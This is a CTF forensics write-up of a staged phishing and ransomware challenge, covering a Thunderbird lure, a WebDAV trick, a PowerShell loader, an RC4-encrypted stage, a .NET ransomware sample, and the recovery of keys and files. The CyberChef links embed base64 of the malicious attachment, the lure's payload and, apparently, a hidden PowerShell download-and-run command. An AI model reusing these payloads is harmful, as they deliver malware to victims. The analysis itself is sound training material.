# HolaCTF 2025 ## Forensics ### APT ![image](https://hackmd.io/_uploads/B1bnhYxcee.png) ![image](https://hackmd.io/_uploads/SkxBylXqlx.png) **Q1: The user opened a software that contained malicious content from the attacker. What was the name of the software? Ex: Skype** ![image](https://hackmd.io/_uploads/SyL4wYH5gg.png) Walking through Application.evtx we can see thunderbird.exe was captured by Windows Error Reporting **Ans:** Thunderbird **Q2: What is the name of the file that makes user fall into the attacker's trap? Ex: example.js** ![image](https://hackmd.io/_uploads/HkZ3OYSqle.png) Here, I found an attacker email with a suspicious attachment "diemchuan.zip". I tried to submit this but it failed. Then I thought of another way. ![image](https://hackmd.io/_uploads/SkwlcFSqgg.png) Rummaging through the mess of files I found that the attachments were saved under `Mail/Inbox`. Using DBViewer we identified the received file was stored as base64. ![image](https://hackmd.io/_uploads/S1oUTKS9lg.png) Decoding it we obtained a zip file. ![image](https://hackmd.io/_uploads/BkqO6FHqge.png) [recipe](https://gchq.github.io/CyberChef/#recipe=Reverse('Character')From_Base64('A-Za-z0-9%2B/%3D',true,false)&input=VUVzREJCUUFDUUJqQUhzVUhsc1pLTUgwT2dZQUFIY01BQUFPQUFzQVpHbGxiV05vZFdGdUxtaDBiV3dCbVFjQUFRQkJSUU1JQUJGWA0KWkxoSWY2MjZUM1BxZm5zSWZCZU5QelNRNG1MMDBqZWV4dU9HWHZqYVRSQU9hNFdBU1E2ZHlLNWVab1ZGcGhJQ1FoV2RnN0J0U2lnUA0KQ3UxZHZpTno1K2hacFVVL3JNTndQbExNRk1aRkNkMkdsaTNVSjJvZFRDdTdXYzRwZ1ZJR1Vkb1pNZFBIakR0R0RDTjk0SGpUejNMVw0KR3FHajRvNVBGbXJxc0lzYjFXTkFiaFZCakVHM25hSjVzS2ZNTFkxUWVGM2dnbzMyelo5Z1FkT004bGQzcEF1VHJNaGMzNUM4OWg0Ng0KajNWTE9XNXlldktWSTdJS3VBdHVQOGdEZkVRZkxUWmtPNUxMR0xXVlBvakMzazYzclJtUEVOQUREUEswVXF6K2FZYU5sTnEzblU2VA0KYkJMZ29HSGtwYzJDT3o5YjlBVjNTdXZFNzhOdk1jdkpaREI5WXNkb1JiU3pyL21PMjFiOG9mVUN3R3BwbnEyRGZubzkrL1Jhdmoweg0KOHR6dW41T21aWCsyRURTYndJeVJXL3ZsWXI1b1R0Yi9zaGxCSTNFMzVKeGpNUm1VUFBKdUFOaWlGdWcydXNvdlBxaWtwTE5hS3dpRA0KZ3BJS3FEVnhHNU1Mb3dpMkZNLzFFZWtjVm9xYnRRRk9KYTFTYnVzUVhuTDJTOVdmcDFBdHVEY3BZRzNzQ2E4QmlqVnhzRHJBVTA1eA0Kc0YvNVZCejhNak9Pa3hMOVgxMEtKb2J2aXVlNDRPQjNJMFBzeFZ4M2hDL2lnWG80OStaRWdWSUFrQTNYUE11QlpiaUdkU01Fd3BVTg0KK010TUJBU1hBNldaRWpKRHlURDhwckI1cllSUVFJNW5JdG5pMzNhYmZvNkhjZkJsd2pqNHRaNGdmRHRZZjVQQkUrdUIzanFlWFlRQg0KRExWaXBSeno3LzNuSERlcGk1eXVSSE0zK1NCVkxJY1YvempoL1k2WlUrRTlPNzNoQ3BFTk81bEk1VGgvd3BwZlk0bFB4d3czWXNvYg0KZ1dtVEVHUkVIbFJValc3UWlsMWVmSzRCNTNySy9vVjZUNHgvcW1Vb0JMdDUvUnBUcTBSRWxrMkJ2NTRRU1JHYjlZU1BEemJub09BVA0KOUVBY3R1MVVxZXBwc3c4YVVJeWl1cVV3SGZIWHlzNi9yMGZkZjRsbSt6a2JlQXdKVHBhU3Roa3FyNEJnM0g0ZHBDUnpmeXlxVDlpVg0KL1RlTVNFaWhxakNkay9VVitEdGNSSzFVYXdqSzNJZ2J4QVNOSVloLzhCdGRabFBSUjFQRDZOZ3h2ZzZueTY1bVNRbDduaGJrR1JkUQ0KRlBwY2RCTGVreVVYYXlhQW1pY3AzTkNndG1KMWhLTTNiS01GOUVYZ3djY2NQSlQxNWpZNkUyb2hid3NVbkhJWmVadVNPK2lCcGhvMw0KZllEa2U2MmFyK2h0TkFrWVpSY1F6MWRJVlVJOHc4T0ttRkJtbjFaV3ZKb0JzT1FPSHMrY3ZxeWx0NTZ1WU9CanFBaG5HaFpPaDlSKw0KUE9wK3lRci9pNFJhOU5Xa0RjUnc5UjlWQTA0ZDU4R1Q1QkZLQ3AyR2pJUWFybXV5d0lxYVNlbVRIa2RzZHdOWTlFYkhDL0lzVVlUSw0KMWpoU01NcXJWNlhYVzk5TWkrNHV3Mm1uanh5OGNzVFhRRHJKcC9hZHFjMUpkTUFtemFlNUxKdlhweEFUR0JwbHFYUC85OEdGYnVVZg0Kd0o1S3loQmxZVG1BMWNrUFZ4YytsTVJ6dWtFNUJhV1FzM01qN0NIK2t0Z0pvZWkyZmp2MnRoTmN1TWcvV3paN1hVOVhNZlNkczU3SA0KeHVFRmhyYi9MTVQ3eU1OUWRkZ1dBWENSVGZlNWFlbjZnT0NKQU1YUWdCbS9uUXpldEs0YXlSZndqWDhDeSt5MUFHNkVQaXFCY1Z0aw0KS1hkalZsbVZtR0JYNmU2Mnlma0JZRlQxbkhKYWU4amk2eFhLSXd3SithQ3RBOGljZVo5dURFU2lxaC85UHFubUZON051MUZ0WjZPUg0KNFVTMzJOQzBCV2s2NnlFNnNOT01EbzErNzk3L1Z6eHl4SzhlUTVpVnlWdXFTaUJBOHltR3lIV2o0dXpXVlRlNUVDYXRKVjBPeWZydw0KZ2tLODNYdEVjRG5HTUdONkNUQm50UVZhS3ZEcTlQV0FpSndCZGtJeitRd0NleXF3UnFZejV5S2dHbGE1U0xtQXR4WGFjb1o3OWtZMg0KVVBjcVBjUVNZS1hiQ1RLNit0VHFtRjd3ZzRBSzM1OTI5dllQNWxlSnhUampMVllhUU5tc3JwZEdKTTV1RE9RZ2pTSFVSakg2RHhQeQ0KM2o2ZXFNREhocmpwdkpuYms5bzBITXkrMVQ2ajVIMmhCWjBrVU5KOXNQOTBFY1N2NS8xaGpxRnZRbDlqMi8yb2I4N0x5V2phbzlGbw0KaFF0RFNHRGtUMFFmWlQyQkRnQzBBUExsSjFvcG9yZWFPWWQvdUVrNlQ4OVpub0tQemtXbGVUbHRGcWIzQy9oYVJQRFE1Z2RickdaeQ0KTnZubDB6QXZ3NCthc0N4REErNG02ZVdFRW5yT1RpTEV6dnpIY3I3eEZseVhCRjk2ZHhFek1DYTF4RXdmZ1U4ZEo1cFdTTnA0b0pGOA0KQkxta0laazJpUm5Ub2NSaFhSZGhIMXh0NDBtVk1yR1g2ajdGYWlocFg5ZWRDR2RUY05qZURPdVhRZ3FBOGpFRGhCZ3drY1ZpR2V3Nw0KeFRrWDNFN283NXBIV090Tmc5WnJkRGZYaVpGbkErKzVXNzdVc1dTaHpmbmRrMlBOTFFyaFdLVDBqRXhRSjg4cW5MUVljYmRRU3djSQ0KR1NqQjlEb0dBQUIzREFBQVVFc0JBaDhBRkFBSkFHTUFleFFlV3hrb3dmUTZCZ0FBZHd3QUFBNEFMd0FBQUFBQUFBQWdBQUFBQUFBQQ0KQUdScFpXMWphSFZoYmk1b2RHMXNDZ0FnQUFBQUFBQUJBQmdBa1E5ZElod1ozQUdSRDEwaUhCbmNBV3J3aHl4dEVOd0JBWmtIQUFFQQ0KUVVVRENBQlFTd1VHQUFBQUFBRUFBUUJyQUFBQWdRWUFBQUFBDQo&ieol=CRLF&oeol=FF) Just open the zip file and we have a malicious html file here. **Ans:** diemchuan.html **Q3: What MITRE ATT&CK techniques did the attacker use? Ex: T1234.00** This html file impersonates the Word interface to trick the user into viewing hidden content, but in reality it triggers embedded malicious code. ![image](https://hackmd.io/_uploads/H1lp0tBqee.png) ![image](https://hackmd.io/_uploads/rJTeeqH9eg.png) It looks verbose but it's actually just `reverse` and `base64`. ![image](https://hackmd.io/_uploads/BkgO19rqlx.png) From here we can see the query that will be executed after clicking the "Cloud View" button. Clearly this payload leverages the WebDAV attack vector to make the user think the file popped by Explorer is a file on their machine. That enables subsequent payloads to execute. [recipe](https://gchq.github.io/CyberChef/#recipe=Reverse('Character')From_Base64('A-Za-z0-9%2B/%3D',true,false)&input=PT13Y2tGMmJzNTJkdlJVUGwxV1l1bFhZc0IzY3BSbUpjUjNidkoxVlhkbGRoUkVYTU4xVUFCSGNoNVNabEpuWnRzMmJ5ZG1idVFHTmpabVprbGpNaFJqWTF3Rlg2NDJicFJYWWo5R2I5SVdiMUozWW1Zek13SXpSUlJGVUlSMVhwaEdWZmwzU2ZGV2RSOUZkbHRVUDVKWFoxRm5PejFXTG9ObWNoVjJj&oeol=NEL) **Ans:** T1566.001 **Q4: What is the domain of the website where the malicious file for stage 2 is located? Ex: mediafire.com** When I reached this step the author had already taken down the ngrok server hosting the WebDAV site, so I found another way to retrieve stage 2. Looking at the PowerShell logs I saw suspicious commands with parameters like `Hidden` and `Bypass`. ![image](https://hackmd.io/_uploads/SyUobqSqex.png) **Ans:** sakamoto.moe **Q5: Digging into the malicious file, what was the original name of the encrypted file that was downloaded? Ex: payload.enc** Analyzing the loader in IDA, the program's control flow is a bit nonsensical. With a closer look I noticed that aside from the main flow there is a `Run` path that will be jumped to if the right order is provided. ![image](https://hackmd.io/_uploads/ryJvGcr5xx.png) This seems to be what we need. The summarized workflow is: + The hardcoded string (URL) in the code is XOR-decoded (10,13). + Use WinINet API to download stage 3 which is encrypted and save to `C:\\Users\\public\\Miyamizu_Mitsuha.yourname` + Deploy RC4 algorithm to decrypt stage 3 + Execute stage 3 and clean up remnants ![image](https://hackmd.io/_uploads/r1WBX5r9el.png) ![image](https://hackmd.io/_uploads/S1QOQcHcll.png) ![image](https://hackmd.io/_uploads/SyGCQ5Hcee.png) You can get the decrypted URL easier by using floss ![image](https://hackmd.io/_uploads/ryAn45B9le.png) **Ans:** steam.enc **Q6: What is the encryption algorithm and key to decrypt the encrypted payload? (Convert it to hex) Ex: AES_0x1a,0x2b,0x3c,0x4d,...** Based on the workflow above, I identified `&unk_33E154020` as the key and `v3` as the ciphertext. ``` C++ RC4(&unk_33E154020, 16LL, hMem, v3); ``` ![image](https://hackmd.io/_uploads/rkTxN5r5xg.png) **Ans:** RC4_0x3A,0x2D,0x1C,0x4D,0x5E,0x2F,0x7B,0x81,0x3D,0xAB,0xBC,0xCD,0xDE,0x2F,0xF0,0x01 **Q7: In stage 3, which C2 IP address is the user's network traffic transmit to? Ex: 192.168.1.1** When I loaded stage 3 into Detect It Easy, the language was detected as C++ (by muscle memory I immediately threw it into IDA and spent 30 minutes reading without understanding much 😀). But when I glanced at the string view I saw strings like `.NET`, `.NET compiler`,... From there I suspected a wrapper, so I tried `dnSpy` but it didn't recognize it (damn dnSpy). ![image](https://hackmd.io/_uploads/rJXqB5B9gl.png) Using `dotPeek` made everything clear; dnSpy is too old for this wrapper (damn dnSpy). ![image](https://hackmd.io/_uploads/BknzIcBclg.png) Skimming the code I found everything obfuscated and there was a "decoding table" at the bottom. ![image](https://hackmd.io/_uploads/BJWwU9r5el.png) Using that we can deobfuscate. ```python import base64 dictionary = { "0": "\uD83C\uDF7A", "1": "\uD83D\uDE82", "2": "\uD83D\uDC0F", "3": "⚽", "4": "\uD83C\uDE3A", "5": "⛵", "6": "\uD83D\uDD3C", "7": "\uD83C\uDF4D", "8": "\uD83C\uDFA5", "9": "\uD83D\uDEBE", "A": "\uD83D\uDC3D", "B": "\uD83C\uDF0A", "C": "\uD83D\uDCAC", "D": "\uD83C\uDFAD", "E": "\uD83C\uDF06", "F": "\uD83D\uDD0E", "G": "\uD83D\uDC7B", "H": "\uD83C\uDE51", "I": "\uD83D\uDC9B", "J": "\uD83C\uDD7F️", "K": "\uD83C\uDDEA\uD83C\uDDF8", "L": "\uD83D\uDC9C", "M": "\uD83D\uDC36", "N": "\uD83C\uDF8F", "O": "\uD83D\uDC60", "P": "\uD83C\uDF83", "Q": "\uD83C\uDF75", "R": "\uD83D\uDDFF", "S": "\uD83D\uDEB9", "T": "\uD83D\uDD28", "U": "\uD83D\uDD1C", "V": "\uD83D\uDCAF", "W": "ℹ️", "X": "\uD83D\uDCC9", "Y": "\uD83C\uDE01", "Z": "⏩", "a": "9️⃣", "b": "\uD83D\uDD01", "c": "\uD83D\uDCD3", "d": "\uD83D\uDC23", "e": "\uD83D\uDC58", "f": "\uD83C\uDF6F", "g": "\uD83D\uDCBB", "h": "\uD83D\uDE8F", "i": "\uD83D\uDC8B", "j": "\uD83C\uDFA9", "k": "\uD83C\uDF63", "l": "\uD83D\uDC5E", "m": "\uD83D\uDD38", "n": "\uD83C\uDF7B", "o": "\uD83D\uDC9A", "p": "\uD83C\uDF87", "q": "\uD83D\uDE9B", "r": "\uD83D\uDC88", "s": "\uD83C\uDFC8", "t": "\uD83D\uDE0D", "u": "\uD83D\uDEB4", "v": "\uD83D\uDCBF", "w": "\uD83D\uDC8F", "x": "✒️", "y": "\uD83C\uDF46", "z": "\uD83C\uDF67", "_": "\uD83D\uDD52", "-": "\uD83D\uDC4C", "/": "\uD83D\uDC2E", "+": "\uD83D\uDC2D", "=": "\uD83D\uDD0C" } def decode_unicode_string(unicode_str, unicode_to_char): result = "" i = 0 unicode_keys = sorted(unicode_to_char.keys(), key=lambda x: -len(x)) while i < len(unicode_str): matched = False for code in unicode_keys: if unicode_str[i:i+len(code)] == code: result += unicode_to_char[code] i += len(code) matched = True break if not matched: result += "?" i += 1 return base64.b64decode(result).decode('utf-8') unicode_to_char = {v: k for k, v in dictionary.items()} input_unicode = "\ud83d\udc9b\ud83d\udc3d\ud83d\udd0c\ud83d\udd0c" print(decode_unicode_string(input_unicode, unicode_to_char)) ``` The deobfuscated code was easier to read and we can analyze it. Continuing the code I found the function: ![image](https://hackmd.io/_uploads/HJMMw5rcel.png) **Ans:** 192.168.244.129 <!-- [recipe](https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)Remove_null_bytes()&input=VUFCdkFIY0FaUUJ5QUhNQVNBQmxBRXdBYkFBZ0FDMEFJZ0JsQUNJQWNBQWdBRUlBSWdCNUFDSUFjQUJoQUhNQWN3QWdBQlFnVndBZ0FHZ0FJZ0JwQUdRQVpBQWlBR1VBYmdBZ0FCVWdZd0FpQUU4QVRRQWlBRzBBWVFBZ0FDY0FXd0JPQUNJQVpRQjBBQzRBVXdCbEFDSUFjZ0IyQUNJQWFRQWlBR01BWlFCUUFDSUFid0FpQUdrQWJnQWlBSFFBVFFBaUFHRUFJZ0J1QUNJQVlRQWlBR2NBSWdCbEFISUFYUUE2QURvQVV3QWlBR1VBSWdCakFDSUFkUUJ5QUNJQWFRQWlBSFFBZVFCUUFISUFid0FpQUhRQWJ3QWlBR01BYndBaUFHd0FJQUE5QUNBQVd3Qk9BR1VBSWdCMEFDNEFVd0FpQUdVQUlnQmpBSFVBY2dCcEFDSUFkQUFpQUhrQUlnQlFBSElBSWdCdkFIUUFJZ0J2QUdNQUlnQnZBQ0lBYkFCVUFIa0FJZ0J3QUdVQVhRQTZBRG9BVkFBaUFHd0FJZ0J6QUNJQU1RQXlBRHNBSUFBa0FIQUFJQUE5QUNBQVNnQnZBQ0lBYVFBaUFHNEFMUUJRQUdFQUlnQjBBQ0lBYUFBZ0FDUUFaUUJ1QUhZQU9nQlVBRVVBVFFCUUFDQUFJZ0JzQUM0QVpBQWlBR3dBSWdCc0FDSUFPd0FnQUdrQWR3QnlBQ0FBSWdCb0FDSUFkQUFpQUhRQUlnQndBQ0lBY3dBNkFDOEFJZ0F2QUdZQWFRQWlBR3dBWlFCekFDNEFjd0JoQUdzQVlRQWlBRzBBSWdCdkFDSUFkQUFpQUc4QUxnQnRBRzhBSWdCbEFDOEFOQUF4QUNJQVpBQWlBR0lBWlFBM0FDSUFZUUJqQUNJQU53QmlBQ0lBTndBekFGOEFiQUJ2QUdFQVpBQmxBSElBTGdCa0FHd0FiQUFpQUNBQUxRQWlBRThBSWdCMUFDSUFkQUFpQUVZQUlnQnBBQ0lBYkFCbEFDQUFKQUJ3QURzQUlBQlRBQ0lBZEFBaUFHRUFjZ0IwQUMwQUlnQlFBQ0lBY2dBaUFHOEFZd0JsQUNJQWN3QnpBQ0FBY2dCMUFDSUFiZ0FpQUdRQWJBQnNBRE1BSWdBeUFDSUFJQUF0QUVFQWNnQm5BQ0lBZFFBaUFHMEFaUUFpQUc0QUlnQjBBQ0lBVEFCcEFDSUFjd0IwQUNBQUlnQWtBSEFBTEFCU0FIVUFiZ0FpQUNBQUxRQlhBQ0lBWVFBaUFHa0FkQUE3QUNBQVpBQmxBR3dBSUFBa0FIQUFJQUF0QUVZQUlnQnZBQ0lBY2dCakFHVUFKd0E9DQ&ieol=CR&oeol=CR) --> **Q8: The attacker made a mistake, take advantage of it and tell us the name of files encrypted by attacker's ransomware in folder Videos ? Ex: ehc.mp3** At this point I had to research quite a bit. In the code there are functions named `ddAxJkAciSG`, `lSJNJosACuzaDIkQoaEIkvSckaEPgrBKmY`, ... calling cryptographic and hashing algorithms like `RSA`, `SHA256`, `MD5`, `AES`. I'll note them and investigate further to see what they do. ![image](https://hackmd.io/_uploads/By-27nrcxg.png) Earlier I noticed there's a pcap file in temp, let's open it and see what's interesting. ![image](https://hackmd.io/_uploads/SJ_gEhBcxl.png) There are TLS v1.2 encrypted data streams sent out, which matches the C2 IP found earlier. ![image](https://hackmd.io/_uploads/rkD5Nhr9xl.png) Researching a bit I know TLS v1.2 used to use RSA key exchange, where the public key is used to encrypt and then the private key on the server decrypts. Looking back at the code we can see the public key is hardcoded. ![image](https://hackmd.io/_uploads/S1g1LS2H5xl.png) Dumping the cert, I found the public key is only 1024 bits; at this size RSA is weak if `p` and `q` are close or primes are reused. In a CTF case it will likely be weak to allow further progress. ![image](https://hackmd.io/_uploads/Skl3S2Scxg.png) ``` ps RsaCtfTool --publickey '/home/kali/Desktop/cert.pem' --private ``` ![image](https://hackmd.io/_uploads/rkFZ8nH5xe.png) With the private key we can add it into Wireshark to read the previously encrypted packets. ![image](https://hackmd.io/_uploads/BySP8nrcee.png) I found the header of a zip file inside a POST packet. ![image](https://hackmd.io/_uploads/Byk5Lhr9ee.png) ![image](https://hackmd.io/_uploads/H1RLDnr5le.png) To know the password for the zip we need to look back at the payload. At a glance you might think "there's no `-p` parameter?" — you'd be wrong =))) I didn't expect `-parameter-none` to be the `-p <pass>` parameter written without a space to fool solvers. ![image](https://hackmd.io/_uploads/rJfQwnBcex.png) ![image](https://hackmd.io/_uploads/ByPl_hS9lg.png) **Ans:** video.mp4 **Q9: What are the contents of the file flag.txt? (Convert the content of the flag.txt to md5 and submit) Ex: 4a34decdd3494446ff0546364aa975b5** The data is encrypted by the following two functions: ![image](https://hackmd.io/_uploads/BkosKhSqeg.png) It can be understood that the data is `Custom XOR (3 Rounds)` with a key, and the trick is the key is generated during runtime. Based on the properties of XOR we can reverse the process as: ``` key = cipher ^ plaintext ``` I also found the leftover file `video.mp4` in temp (this approach is easy but likely not how the author intended). ``` python def inverse_transform_key_byte(b: int, rounds: int = 3) -> int: for _ in range(rounds): b = (b - 37) & 0xFF b = b ^ 0xA5 return b def recover_key(cipher: bytes, plain: bytes, rounds: int = 3) -> bytes: if len(cipher) != len(plain): raise ValueError("Ciphertext and plaintext must be the same length") recovered = [] for i in range(len(cipher)): tkey = cipher[i] ^ plain[i] # key after transform key_byte = inverse_transform_key_byte(tkey, rounds) recovered.append(key_byte) return bytes(recovered) if __name__ == "__main__": # Read encrypted file and original file with open("xrYvsozYaitKuzsiktrX.EHC", "rb") as f: cipher_data = f.read() with open("video.mp4", "rb") as f: plain_data = f.read() # Recover key key_length = 32 recovered = bytes(recover_key(cipher_data, plain_data)) print(recovered.hex()) rec = recovered[:key_length] print("[+] Key (hex):", rec.hex()) ``` Once we have the key we can decrypt the remaining files: ``` python import os def transform_key_byte( b, rounds=3): for _ in range(rounds): b = ((b ^ 165) + 37) & 0xff return b def decrypt_file_data(encrypted_data, key, rounds=3): decrypted = bytearray(len(encrypted_data)) key_len = len(key) for i in range(len(encrypted_data)): transformed_key_byte = transform_key_byte(key[i % key_len], rounds) decrypted[i] = encrypted_data[i] ^ transformed_key_byte return bytes(decrypted) key = bytes.fromhex("15a60be5edf31a095afec7b17f06fe98c4230a3e264ca54c7e99b14bc2cfaf6c") def decrypt_file(input_file, output_file, key, rounds=3): try: with open(input_file, 'rb') as f: encrypted_data = f.read() decrypted_data = decrypt_file_data(encrypted_data, key, rounds) with open(output_file, 'wb') as f: f.write(decrypted_data) print(f"Successfully decrypted {input_file} to {output_file}") return True except Exception as e: print(f"Error decrypting file: {e}") return False if __name__ == "__main__": inp = "TYTUTtTtkPuXsZaiwiKa.EHC" out = inp.rsplit('.', 1)[0] + "_dec." + inp.rsplit('.', 1)[1] if os.path.exists(inp): decrypt_file(inp, out, key, rounds=3) else: print(f"Input file {inp} not found") ``` ![image](https://hackmd.io/_uploads/SJnOO3S9ge.png) **Ans:** 0e2c58ea5f51647dc2f81a03b43b6580 **Flag:** HOLACTF{Dun6_6A0_GlO_cIick_V4O_StRaNgE_FiLe_NH3_aHUHU_3fea6408058f} #vlquadetmq <!-- --- ### First step into forensics ![image](https://hackmd.io/_uploads/BJ8cMol5lg.png) ### Live response ![image](https://hackmd.io/_uploads/HJi2folqee.png) ![image](https://hackmd.io/_uploads/rkWMPab9gl.png) ### Pre-Holahela ![image](https://hackmd.io/_uploads/H13kvTZ5lg.png) ## Reversing ### MA ![image](https://hackmd.io/_uploads/BJ1oDpZqxl.png) ### RE102 ![image](https://hackmd.io/_uploads/SJmpwTWclx.png) ### RE103 ![image](https://hackmd.io/_uploads/HJ7ADpZqee.png) ### i_love_malware ![image](https://hackmd.io/_uploads/rkdkuTWqxe.png) -->